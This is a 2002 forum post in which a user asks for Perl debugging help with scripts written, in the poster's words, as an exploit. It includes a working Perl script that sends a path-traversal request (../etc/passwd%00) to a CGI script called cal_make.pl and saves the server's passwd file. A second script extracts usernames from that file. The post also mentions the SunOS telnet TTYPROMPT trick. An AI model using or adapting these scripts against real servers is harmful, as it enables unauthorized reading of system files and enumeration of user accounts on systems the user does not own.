|
-
December 1st, 2002, 09:55 AM
#1
Junior Member
about perl.for help,thanks.
question1:telnet> environ define TTYPROMPT abcdef
how can i do to run this commend use perl.
you see ,i want write a exploit in perl for test.it is use a sunos telnet bug.
but i don't know how to do that ,and i am use windows2000,my linux cannot
online.
question2:use strict;
use IO::Socket;
my $host=shift;
my $String="GET /this is cgi path/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0\n\n";
my $SOCKET=IO::Socket::INET->new(PeerAddr=>"$host",
PeerPort=>"80",
Proto=>"tcp") or die "cannot conncet:$!\n";
print "\n$String\n";
print $SOCKET "$String";
my @passwd=<$SOCKET>;
close ($SOCKET);
open(PASSWD,">10.txt");
foreach my $lin(@passwd)
{
print PASSWD "$lin";
}
close(PASSWD);
this program work well.but
my $String="GET /this is cgi path/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00 HTTP/1.0\n\n";
my $SOCKET=IO::Socket::INET->new(PeerAddr=>"htis is host adress",
PeerPort=>"80",
Proto=>"tcp") or die "cannot conncet:$!\n";
print "\n$String\n";
print $SOCKET "$String";
my @passwd=<$SOCKET>;
close ($SOCKET);
open(PASSWD,">10.txt");
foreach my $lin(@passwd)
{
print PASSWD "$lin";
}
close(PASSWD);
it cannot get the argument.like that
use strict;
open(IN,"<1.txt") or die "cannot open:$!";
open(OUT,">>username.txt") or die "cannot open:$!";
while(<IN>){
$_=~m/(^\w+):.*/;
my $date=$1;
print OUT $date}
close(IN) or die "cannot close:$!\n";
close(OUT) or die "cannot close:$!\n"
it work well.but
use strict;
my $filename=shift;
open(IN,"<$filename") or die "cannot open:$!";
open(OUT,">>username.txt") or die "cannot open:$!";
while(<IN>){
$_=~m/(^\w+):.*/;
my $date=$1;
print OUT $date}
close(IN) or die "cannot close:$!\n";
close(OUT) or die "cannot close:$!\n"
calmake.pl 1.txt cannot work well,they are in same directory.i don't konw why.
if you have time ,please help me ,thank you.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|